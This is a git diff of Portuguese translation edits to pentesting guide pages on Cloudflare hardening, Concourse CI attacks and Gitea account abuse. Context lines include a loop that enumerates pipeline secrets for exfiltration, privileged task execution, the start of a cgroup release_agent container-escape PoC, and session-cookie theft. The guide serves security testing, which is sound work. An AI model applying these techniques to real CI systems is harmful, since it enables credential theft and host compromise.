-- `Advanced Layer 3/4 DDoS Attack Alert`
-- `Flow-based Monitoring: Volumetric Attack`
-- `Route Leak Detection Alert`
-- `Access mTLS Certificate Expiration Alert`
-- `SSL for SaaS Custom Hostnames Alert`
-- `Universal SSL Alert`
-- `Script Monitor New Code Change Detection Alert`
-- `Script Monitor New Domain Alert`
-- `Script Monitor New Malicious Domain Alert`
-- `Script Monitor New Malicious Script Alert`
-- `Script Monitor New Malicious URL Alert`
-- `Script Monitor New Scripts Alert`
-- `Script Monitor New Script Exceeds Max URL Length Alert`
-- `Advanced Security Events Alert`
-- `Security Events Alert`
+- `Uso Baseado em Cobrança`
+- `Alerta de Ataque DDoS HTTP`
+- `Alerta de Ataque DDoS Camada 3/4`
+- `Alerta de Ataque DDoS HTTP Avançado`
+- `Alerta de Ataque DDoS Camada 3/4 Avançado`
+- `Monitoramento Baseado em Fluxo: Ataque Volumétrico`
+- `Alerta de Detecção de Vazamento de Rota`
+- `Alerta de Expiração de Certificado mTLS de Acesso`
+- `Alerta de SSL para Nomes de Host Personalizados SaaS`
+- `Alerta de SSL Universal`
+- `Alerta de Detecção de Nova Mudança de Código no Monitor de Script`
+- `Alerta de Novo Domínio no Monitor de Script`
+- `Alerta de Novo Domínio Malicioso no Monitor de Script`
+- `Alerta de Novo Script Malicioso no Monitor de Script`
+- `Alerta de Nova URL Maliciosa no Monitor de Script`
+- `Alerta de Novos Scripts no Monitor de Script`
+- `Alerta de Novo Script Excede o Comprimento Máximo da URL no Monitor de Script`
+- `Alerta de Eventos de Segurança Avançados`
+- `Alerta de Eventos de Segurança`
 - [ ] Verifique todos os **destinos**, pois pode haver **informações sensíveis** (autenticação http básica) nas URLs de webhook. Certifique-se também de que as URLs de webhook usem **HTTPS**.
 - [ ] Como verificação extra, você pode tentar **impersonar uma notificação do cloudflare** para um terceiro, talvez você consiga **injetar algo perigoso** de alguma forma.
 
-## Manage Account
+## Gerenciar Conta
 
 - [ ] É possível ver os **últimos 4 dígitos do cartão de crédito**, o **tempo de expiração** e o **endereço de cobrança** em **`Billing` -> `Payment info`**.
 - [ ] É possível ver o **tipo de plano** usado na conta em **`Billing` -> `Subscriptions`**.
-- [ ] Em **`Members`**, é possível ver todos os membros da conta e seu **papel**. Note que se o tipo de plano não for Enterprise, existem apenas 2 papéis: Administrador e Super Administrador. Mas se o **plano utilizado for Enterprise**, [**mais papéis**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) podem ser usados para seguir o princípio do menor privilégio.
+- [ ] Em **`Members`**, é possível ver todos os membros da conta e seu **papel**. Note que, se o tipo de plano não for Enterprise, existem apenas 2 papéis: Administrador e Super Administrador. Mas se o **plano utilizado for Enterprise**, [**mais papéis**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) podem ser usados para seguir o princípio do menor privilégio.
 - Portanto, sempre que possível, é **recomendado** usar o **plano Enterprise**.
 - [ ] Em Membros, é possível verificar quais **membros** têm **2FA habilitado**. **Todo** usuário deve tê-lo habilitado.
 
 > [!NOTE]
-> Note que, felizmente, o papel **`Administrator`** não dá permissões para gerenciar associações (**não pode escalar privilégios ou convidar** novos membros).
+> Note que, felizmente, o papel **`Administrador`** não dá permissões para gerenciar associações (**não pode escalar privilégios ou convidar** novos membros).
 
-## DDoS Investigation
+## Investigação de DDoS
 
 [Verifique esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
 
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 571b2ff4a..a25830d91 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -1,4 +1,4 @@
-# Cloudflare Domains
+# Domínios Cloudflare
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -13,17 +13,17 @@ Em cada TLD configurado no Cloudflare, existem algumas **configurações e servi
 
 ### Análise
 
-- [ ] Em **`Segurança`**, verifique se há alguma **Limitação de Taxa**
+- [ ] Em **`Segurança`**, verifique se há alguma **limitação de taxa**
 
 ### DNS
 
-- [ ] Verifique dados **interessantes** (sensíveis?) nos **registros DNS**
+- [ ] Verifique dados **interessantes** (sensíveis?) nos **registros** DNS
 - [ ] Verifique por **subdomínios** que possam conter **informações sensíveis** apenas com base no **nome** (como admin173865324.domin.com)
 - [ ] Verifique por páginas da web que **não estão** **protegidas**
 - [ ] Verifique por **páginas da web protegidas** que podem ser **acessadas diretamente** por CNAME ou endereço IP
 - [ ] Verifique se o **DNSSEC** está **ativado**
 - [ ] Verifique se o **CNAME Flattening** está **usado** em **todos os CNAMEs**
-- Isso pode ser útil para **ocultar vulnerabilidades de tomada de subdomínio** e melhorar os tempos de carregamento
+- Isso pode ser útil para **ocultar vulnerabilidades de takeover de subdomínio** e melhorar os tempos de carregamento
 - [ ] Verifique se os domínios [**não são vulneráveis a spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
 
 ### **Email**
@@ -45,37 +45,37 @@ TODO
 
 - [ ] **Sempre Usar HTTPS** deve estar **ativado**
 - [ ] **HTTP Strict Transport Security (HSTS)** deve estar **ativado**
-- [ ] **A versão mínima do TLS deve ser 1.2**
+- [ ] **Versão mínima do TLS deve ser 1.2**
 - [ ] **TLS 1.3 deve estar ativado**
-- [ ] **Reescritas Automáticas de HTTPS** devem estar **ativadas**
+- [ ] **Reescritas automáticas de HTTPS** devem estar **ativadas**
 - [ ] **Monitoramento de Transparência de Certificado** deve estar **ativado**
 
 ### **Segurança**
 
 - [ ] Na seção **`WAF`**, é interessante verificar se as **regras de Firewall** e **limitação de taxa estão sendo usadas** para prevenir abusos.
-- A ação **`Bypass`** irá **desativar as funcionalidades de segurança do Cloudflare** para uma solicitação. Não deve ser usada.
+- A ação **`Bypass`** irá **desativar as** funcionalidades de segurança do Cloudflare para uma solicitação. Não deve ser usada.
 - [ ] Na seção **`Page Shield`**, é recomendado verificar se está **ativado** se alguma página estiver em uso
 - [ ] Na seção **`API Shield`**, é recomendado verificar se está **ativado** se alguma API estiver exposta no Cloudflare
 - [ ] Na seção **`DDoS`**, é recomendado ativar as **proteções DDoS**
 - [ ] Na seção **`Configurações`**:
-- [ ] Verifique se o **`Nível de Segurança`** é **médio** ou maior
-- [ ] Verifique se o **`Período de Desafio`** é de no máximo 1 hora
+- [ ] Verifique se o **`Nível de Segurança`** está **médio** ou maior
+- [ ] Verifique se o **`Período de Desafio`** é de 1 hora no máximo
 - [ ] Verifique se a **`Verificação de Integridade do Navegador`** está **ativada**
 - [ ] Verifique se o **`Suporte a Privacy Pass`** está **ativado**
 
 #### **Proteção DDoS do CloudFlare**
 
-- Se puder, ative o **Modo de Luta contra Bots** ou **Modo de Luta contra Super Bots**. Se você estiver protegendo alguma API acessada programaticamente (de uma página front-end JS, por exemplo). Você pode não conseguir ativar isso sem quebrar esse acesso.
+- Se puder, ative o **Modo de Luta contra Bots** ou **Modo de Luta contra Bots Super**. Se você estiver protegendo alguma API acessada programaticamente (de uma página front end JS, por exemplo). Você pode não conseguir ativar isso sem quebrar esse acesso.
 - Em **WAF**: Você pode criar **limites de taxa por caminho de URL** ou para **bots verificados** (regras de limitação de taxa), ou para **bloquear acesso** com base em IP, Cookie, referenciador...). Assim, você poderia bloquear solicitações que não vêm de uma página da web ou não têm um cookie.
 - Se o ataque for de um **bot verificado**, pelo menos **adicione um limite de taxa** para bots.
-- Se o ataque for para um **caminho específico**, como mecanismo de prevenção, adicione um **limite de taxa** nesse caminho.
+- Se o ataque for a um **caminho específico**, como mecanismo de prevenção, adicione um **limite de taxa** nesse caminho.
 - Você também pode **colocar na lista branca** endereços IP, faixas de IP, países ou ASNs nas **Ferramentas** no WAF.
 - Verifique se as **Regras Gerenciadas** também podem ajudar a prevenir explorações de vulnerabilidades.
-- Na seção **Ferramentas**, você pode **bloquear ou desafiar IPs específicos** e **agentes de usuário.**
+- Na seção **Ferramentas**, você pode **bloquear ou dar um desafio a IPs** e **agentes de usuário específicos.**
 - Em DDoS, você pode **substituir algumas regras para torná-las mais restritivas**.
 - **Configurações**: Defina o **Nível de Segurança** como **Alto** e para **Sob Ataque** se você estiver Sob Ataque e que a **Verificação de Integridade do Navegador está ativada**.
-- Em Cloudflare Domains -> Analytics -> Security -> Verifique se a **limitação de taxa** está ativada
-- Em Cloudflare Domains -> Security -> Events -> Verifique se há **Eventos maliciosos detectados**
+- Em Domínios Cloudflare -> Análise -> Segurança -> Verifique se a **limitação de taxa** está ativada
+- Em Domínios Cloudflare -> Segurança -> Eventos -> Verifique se há **Eventos maliciosos detectados**
 
 ### Acesso
 
@@ -103,7 +103,7 @@ TODO
 
 - [ ] Se **`HTTP/2`** estiver **ativado**, **`HTTP/2 para Origem`** deve estar **ativado**
 - [ ] **`HTTP/3 (com QUIC)`** deve estar **ativado**
-- [ ] Se a **privacidade** dos seus **usuários** é importante, certifique-se de que **`Onion Routing`** está **ativado**
+- [ ] Se a **privacidade** dos seus **usuários** for importante, certifique-se de que **`Onion Routing`** está **ativado**
 
 ### **Tráfego**
 
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 74853f97e..09f49cb3a 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -14,7 +14,7 @@ Em uma conta **Cloudflare Zero Trust Network** existem algumas **configurações
 
 - [ ] Em **`Policies`** é possível gerar políticas para **restringir** por **DNS**, **rede** ou **HTTP** quem pode acessar aplicações.
 - Se utilizado, **políticas** podem ser criadas para **restringir** o acesso a sites maliciosos.
-- Isso é **somente relevante se um gateway estiver sendo usado**, caso contrário, não há razão para criar políticas defensivas.
+- Isso é **relevante apenas se um gateway estiver sendo usado**, caso contrário, não há razão para criar políticas defensivas.
 
 ### Access
 
@@ -22,12 +22,12 @@ Em uma conta **Cloudflare Zero Trust Network** existem algumas **configurações
 
 Em cada aplicação:
 
-- [ ] Verifique **quem** pode acessar a aplicação em **Policies** e verifique se **apenas** os **usuários** que **precisam de acesso** à aplicação podem acessar.
+- [ ] Verifique **quem** pode acessar a aplicação nas **Policies** e verifique que **apenas** os **usuários** que **precisam de acesso** à aplicação possam acessar.
 - Para permitir o acesso, **`Access Groups`** serão utilizados (e **regras adicionais** também podem ser definidas)
 - [ ] Verifique os **provedores de identidade disponíveis** e certifique-se de que **não estão muito abertos**
 - [ ] Em **`Settings`**:
 - [ ] Verifique se **CORS não está habilitado** (se estiver habilitado, verifique se é **seguro** e não está permitindo tudo)
-- [ ] Os cookies devem ter o atributo **Strict Same-Site**, **HTTP Only** e **binding cookie** deve estar **habilitado** se a aplicação for HTTP.
+- [ ] Os cookies devem ter o atributo **Strict Same-Site**, **HTTP Only** e o **binding cookie** deve estar **habilitado** se a aplicação for HTTP.
 - [ ] Considere habilitar também **Browser rendering** para melhor **proteção. Mais informações sobre** [**isolamento de navegador remoto aqui**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
 
 #### **Access Groups**
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index ffd9c8ace..bf60147d7 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -1,10 +1,10 @@
-# Concourse Security
+# Segurança do Concourse
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Informações Básicas
 
-Concourse permite que você **construa pipelines** para executar automaticamente testes, ações e construir imagens sempre que precisar (baseado em tempo, quando algo acontece...)
+O Concourse permite que você **construa pipelines** para executar automaticamente testes, ações e criar imagens sempre que precisar (baseado em tempo, quando algo acontece...)
 
 ## Arquitetura do Concourse
 
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 5ca3479f5..4c082778a 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -1,44 +1,44 @@
-# Concourse Enumeration & Attacks
+# Concourse Enumeração & Ataques
 
-## Concourse Enumeration & Attacks
+## Concourse Enumeração & Ataques
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### User Roles & Permissions
+### Funções de Usuário & Permissões
 
-Concourse vem com cinco papéis:
+Concourse vem com cinco funções:
 
-- _Concourse_ **Admin**: Este papel é concedido apenas aos proprietários da **equipe principal** (equipe inicial padrão do concourse). Os administradores podem **configurar outras equipes** (por exemplo: `fly set-team`, `fly destroy-team`...). As permissões deste papel não podem ser afetadas pelo RBAC.
+- _Concourse_ **Admin**: Esta função é dada apenas aos proprietários da **equipe principal** (equipe inicial padrão do concourse). Os administradores podem **configurar outras equipes** (por exemplo: `fly set-team`, `fly destroy-team`...). As permissões desta função não podem ser afetadas pelo RBAC.
 - **owner**: Os proprietários da equipe podem **modificar tudo dentro da equipe**.
 - **member**: Os membros da equipe podem **ler e escrever** dentro dos **ativos da equipe**, mas não podem modificar as configurações da equipe.
 - **pipeline-operator**: Os operadores de pipeline podem realizar **operações de pipeline** como acionar builds e fixar recursos, no entanto, não podem atualizar as configurações do pipeline.
 - **viewer**: Os visualizadores da equipe têm acesso **"somente leitura" a uma equipe** e seus pipelines.
 
 > [!NOTE]
-> Além disso, as **permissões dos papéis owner, member, pipeline-operator e viewer podem ser modificadas** configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Além disso, as **permissões das funções owner, member, pipeline-operator e viewer podem ser modificadas** configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
 
 Note que o Concourse **agrupa pipelines dentro de Equipes**. Portanto, usuários pertencentes a uma Equipe poderão gerenciar esses pipelines e **várias Equipes** podem existir. Um usuário pode pertencer a várias Equipes e ter permissões diferentes dentro de cada uma delas.
 
-### Vars & Credential Manager
+### Vars & Gerenciador de Credenciais
 
-Nos arquivos de configuração YAML, você pode configurar valores usando a sintaxe `((_source-name_:_secret-path_._secret-field_))`.\
-[Das docs:](https://concourse-ci.org/vars.html#var-syntax) O **source-name é opcional**, e se omitido, o [gerenciador de credenciais em todo o cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) será usado, ou o valor pode ser fornecido [estaticamente](https://concourse-ci.org/vars.html#static-vars).\
-O **\_secret-field opcional** especifica um campo no segredo recuperado para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' da credencial recuperada, se o campo existir.\
+Nos configs YAML, você pode configurar valores usando a sintaxe `((_source-name_:_secret-path_._secret-field_))`.\
+[Das docs:](https://concourse-ci.org/vars.html#var-syntax) O **source-name é opcional**, e se omitido, o [gerenciador de credenciais em cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) será usado, ou o valor pode ser fornecido [estaticamente](https://concourse-ci.org/vars.html#static-vars).\
+O **campo \_secret-field**\_ opcional especifica um campo no segredo buscado para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' do credencial buscado, se o campo existir.\
 Além disso, o _**secret-path**_ e _**secret-field**_ podem ser cercados por aspas duplas `"..."` se contiverem **caracteres especiais** como `.` e `:`. Por exemplo, `((source:"my.secret"."field:1"))` definirá o _secret-path_ como `my.secret` e o _secret-field_ como `field:1`.
 
-#### Static Vars
+#### Vars Estáticas
 
-Variáveis estáticas podem ser especificadas em **etapas de tarefas**:
+Vars estáticas podem ser especificadas em **etapas de tarefas**:
 ```yaml
 - task: unit-1.13
 file: booklit/ci/unit.yml
 vars: { tag: 1.13 }
 ```
-Or usando os seguintes `fly` **argumentos**:
+Ou usando os seguintes `fly` **argumentos**:
 
 - `-v` ou `--var` `NAME=VALUE` define a string `VALUE` como o valor para a var `NAME`.
 - `-y` ou `--yaml-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var `NAME`.
-- `-i` ou `--instance-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var de instância `NAME`. Veja [Agrupando Pipelines](https://concourse-ci.org/instanced-pipelines.html) para saber mais sobre vars de instância.
+- `-i` ou `--instance-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var de instância `NAME`. Veja [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) para saber mais sobre vars de instância.
 - `-l` ou `--load-vars-from` `FILE` carrega `FILE`, um documento YAML contendo mapeamento de nomes de vars para valores, e define todos eles.
 
 #### Gerenciamento de Credenciais
@@ -46,15 +46,15 @@ Or usando os seguintes `fly` **argumentos**:
 Existem diferentes maneiras de um **Gerenciador de Credenciais ser especificado** em um pipeline, leia como em [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
 Além disso, o Concourse suporta diferentes gerenciadores de credenciais:
 
-- [O gerenciador de credenciais Vault](https://concourse-ci.org/vault-credential-manager.html)
-- [O gerenciador de credenciais CredHub](https://concourse-ci.org/credhub-credential-manager.html)
-- [O gerenciador de credenciais AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [O gerenciador de credenciais AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Gerenciador de Credenciais Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [O gerenciador de credenciais Conjur](https://concourse-ci.org/conjur-credential-manager.html)
-- [Cache de credenciais](https://concourse-ci.org/creds-caching.html)
-- [Redação de credenciais](https://concourse-ci.org/creds-redacting.html)
-- [Tentativas de busca falhadas](https://concourse-ci.org/creds-retry-logic.html)
+- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
+- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
+- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
+- [Caching credentials](https://concourse-ci.org/creds-caching.html)
+- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
+- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
 
 > [!CAUTION]
 > Note que se você tiver algum tipo de **acesso de escrita ao Concourse** você pode criar jobs para **exfiltrar esses segredos** já que o Concourse precisa ser capaz de acessá-los.
@@ -75,7 +75,7 @@ Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenc
 - `fly -t <target> userinfo`
 
 > [!NOTE]
-> Note que o **token da API** é **salvo** em `$HOME/.flyrc` por padrão, ao invadir uma máquina você pode encontrar lá as credenciais.
+> Note que o **token da API** é **salvo** em `$HOME/.flyrc` por padrão, você, ao invadir uma máquina, pode encontrar lá as credenciais.
 
 #### Equipes & Usuários
 
@@ -94,7 +94,7 @@ Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenc
 - `fly -t <target> get-pipeline -p <pipeline-name>`
 - Obter todas as **vars declaradas na configuração do pipeline**
 - `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Obter todos os **nomes de segredos de pipelines usados** (se você puder criar/modificar um job ou sequestrar um contêiner, você poderá exfiltrá-los):
+- Obter todos os **nomes de segredos de pipelines usados** (se você puder criar/modificar um job ou sequestrar um contêiner, poderá exfiltrá-los):
 ```bash
 rm /tmp/secrets.txt;
 for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
@@ -171,7 +171,7 @@ Com a **modificação/criação** de um novo pipeline, você poderá:
 - **Roubar** os **segredos** (via ecoando-os ou entrando no contêiner e executando `env`)
 - **Escapar** para o **nó** (dando a você privilégios suficientes - `privileged: true`)
 - Enumerar/Abusar do endpoint de **metadados da nuvem** (do pod e do nó)
-- **Deletar** o pipeline criado
+- **Excluir** o pipeline criado
 
 #### Executar Tarefa Personalizada
 
@@ -201,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml
 
 Nas seções anteriores, vimos como **executar uma tarefa privilegiada com concourse**. Isso não dará ao contêiner exatamente o mesmo acesso que a flag privilegiada em um contêiner docker. Por exemplo, você não verá o dispositivo do sistema de arquivos do nó em /dev, então a fuga pode ser mais "complexa".
 
-Na seguinte PoC, vamos usar o release_agent para escapar com algumas pequenas modificações:
+No seguinte PoC, vamos usar o release_agent para escapar com algumas pequenas modificações:
 ```bash
 # Mounts the RDMA cgroup controller and create a child cgroup
 # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -330,11 +330,11 @@ select * from users;
 #### Abusando do Serviço Garden - Não é um Ataque Real
 
 > [!WARNING]
-> Estas são apenas algumas notas interessantes sobre o serviço, mas como ele está apenas escutando no localhost, essas notas não apresentarão nenhum impacto que já não tenhamos explorado antes.
+> Estas são apenas algumas notas interessantes sobre o serviço, mas como ele está apenas ouvindo no localhost, essas notas não apresentarão nenhum impacto que já não tenhamos explorado antes.
 
-Por padrão, cada trabalhador do concourse estará executando um serviço [**Garden**](https://github.com/cloudfoundry/garden) na porta 7777. Este serviço é usado pelo mestre da Web para indicar ao trabalhador **o que ele precisa executar** (baixar a imagem e executar cada tarefa). Isso soa muito bem para um atacante, mas há algumas boas proteções:
+Por padrão, cada trabalhador do concourse estará executando um serviço [**Garden**](https://github.com/cloudfoundry/garden) na porta 7777. Este serviço é usado pelo Web master para indicar ao trabalhador **o que ele precisa executar** (baixar a imagem e executar cada tarefa). Isso soa muito bem para um atacante, mas há algumas boas proteções:
 
-- Está apenas **exposto localmente** (127..0.0.1) e eu acho que quando o trabalhador se autentica contra a Web com o serviço SSH especial, um túnel é criado para que o servidor web possa **conversar com cada serviço Garden** dentro de cada trabalhador.
+- Está **exposto apenas localmente** (127..0.0.1) e eu acho que quando o trabalhador se autentica contra o Web com o serviço SSH especial, um túnel é criado para que o servidor web possa **conversar com cada serviço Garden** dentro de cada trabalhador.
 - O servidor web está **monitorando os contêineres em execução a cada poucos segundos**, e contêineres **inesperados** são **deletados**. Portanto, se você quiser **executar um contêiner personalizado**, precisará **interferir** na **comunicação** entre o servidor web e o serviço garden.
 
 Os trabalhadores do Concourse são executados com altos privilégios de contêiner:
@@ -353,7 +353,7 @@ No entanto, técnicas como **montar** o dispositivo /dev do nó ou release_agent
 > [!NOTE]
 > Na seção anterior, vimos como escapar de um contêiner privilegiado, então se pudermos **executar** comandos em um **contêiner privilegiado** criado pelo **trabalhador** **atual**, poderíamos **escapar para o nó**.
 
-Note que ao brincar com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner do trabalhador, então é como se um contêiner estivesse criando um novo contêiner dentro dele.
+Note que ao brincar com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner trabalhador, então é como se um contêiner estivesse criando um novo contêiner dentro dele.
 
 **Entrando em um contêiner privilegiado em execução**
 ```bash
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 77b691f60..87cdeff34 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -13,7 +13,7 @@ Este arquivo docker-compose simplifica a instalação para realizar alguns teste
 wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
 docker-compose up -d
 ```
-Você pode baixar a linha de comando `fly` para o seu SO na web em `127.0.0.1:8080`
+Você pode baixar a linha de comando `fly` para o seu sistema operacional na web em `127.0.0.1:8080`
 
 #### Com Kubernetes (Recomendado)
 
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
 # If you need to delete it
 helm delete concourse-release
 ```
-Após gerar o ambiente concourse, você pode gerar um segredo e dar acesso ao SA executando no concourse web para acessar os segredos do K8s:
+Após gerar o ambiente do concourse, você pode gerar um segredo e dar acesso ao SA executando no concourse web para acessar os segredos do K8s:
 ```yaml
 echo 'apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -87,7 +87,7 @@ Vários tipos diferentes de steps podem ser usados:
 
 Cada [step](https://concourse-ci.org/steps.html) em um [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) é executado em seu **próprio container**. Você pode executar qualquer coisa que desejar dentro do container _(ou seja, executar meus testes, executar este script bash, construir esta imagem, etc.)_. Portanto, se você tiver um job com cinco steps, o Concourse criará cinco containers, um para cada step.
 
-Portanto, é possível indicar o tipo de container que cada step precisa para ser executado.
+Portanto, é possível indicar o tipo de container que cada step precisa ser executado. 
 
 ### Exemplo de Pipeline Simples
 ```yaml
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index b9d93a748..7b0e871bd 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -1,4 +1,4 @@
-# Gitea Security
+# Segurança do Gitea
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -41,14 +41,14 @@ Para este cenário, vamos supor que você obteve algum acesso a uma conta do git
 
 ### Com Credenciais de Usuário/Cookie da Web
 
-Se de alguma forma você já tem credenciais de um usuário dentro de uma organização (ou você roubou um cookie de sessão), você pode **apenas fazer login** e verificar quais **permissões você tem** sobre quais **repositórios,** em **quais equipes** você está, **listar outros usuários**, e **como os repositórios estão protegidos.**
+Se de alguma forma você já tem credenciais de um usuário dentro de uma organização (ou você roubou um cookie de sessão), você pode **apenas fazer login** e verificar quais **permissões você tem** sobre quais **repositórios**, em **quais equipes** você está, **listar outros usuários** e **como os repositórios estão protegidos.**
 
 Note que **2FA pode ser usado**, então você só poderá acessar essas informações se também conseguir **passar por essa verificação**.
 
 > [!NOTE]
-> Note que se você **conseguir roubar o cookie `i_like_gitea`** (atualmente configurado com SameSite: Lax) você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
+> Note que se você **conseguir roubar o cookie `i_like_gitea`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
 
-### Com Chave SSH de Usuário
+### Com Chave SSH do Usuário
 
 O Gitea permite que **usuários** configurem **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
 
@@ -60,7 +60,7 @@ git config --list
 ```
 Se o usuário configurou seu nome de usuário como seu nome de usuário do gitea, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<gitea_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
 
-**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
+**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
 
 #### Chaves GPG
 
@@ -74,7 +74,7 @@ gpg --list-secret-keys --keyid-format=long
 
 Para uma introdução sobre [**Tokens de Usuário, verifique as informações básicas**](basic-gitea-information.md#personal-access-tokens).
 
-Um token de usuário pode ser usado **em vez de uma senha** para **autenticar** contra o servidor Gitea [**via API**](https://try.gitea.io/api/swagger#/). Ele terá **acesso completo** sobre o usuário.
+Um token de usuário pode ser usado **em vez de uma senha** para **autenticar** contra o servidor Gitea [**via API**](https://try.gitea.io/api/swagger#/). ele terá **acesso completo** sobre o usuário.
 
 ### Com Aplicação Oauth
 
@@ -86,22 +86,22 @@ Como explicado nas informações básicas, a aplicação terá **acesso total à
 
 ### Bypass de Proteção de Branch
 
-No Github temos **github actions** que por padrão obtêm um **token com acesso de gravação** sobre o repositório que pode ser usado para **contornar as proteções de branch**. Neste caso, isso **não existe**, então os contornos são mais limitados. Mas vamos dar uma olhada no que pode ser feito:
+No Github temos **github actions** que por padrão obtêm um **token com acesso de escrita** sobre o repositório que pode ser usado para **contornar as proteções de branch**. Neste caso, isso **não existe**, então os contornos são mais limitados. Mas vamos dar uma olhada no que pode ser feito:
 
-- **Habilitar Push**: Se alguém com acesso de gravação pode fazer push para a branch, basta fazer push.
-- **Whitelist Push Restrito**: Da mesma forma, se você faz parte desta lista, faça push para a branch.
+- **Habilitar Push**: Se alguém com acesso de escrita pode fazer push para o branch, basta fazer push nele.
+- **Whitelist de Push Restrito**: Da mesma forma, se você faz parte desta lista, faça push para o branch.
 - **Habilitar Whitelist de Merge**: Se houver uma whitelist de merge, você precisa estar dentro dela.
 - **Requerer aprovações maiores que 0**: Então... você precisa comprometer outro usuário.
 - **Restringir aprovações a usuários na whitelist**: Se apenas usuários na whitelist podem aprovar... você precisa comprometer outro usuário que esteja nessa lista.
 - **Desconsiderar aprovações obsoletas**: Se as aprovações não forem removidas com novos commits, você pode sequestrar um PR já aprovado para injetar seu código e mesclar o PR.
 
-Note que **se você é um admin de org/repo** você pode contornar as proteções.
+Observe que **se você for um admin de org/repo** pode contornar as proteções.
 
 ### Enumerar Webhooks
 
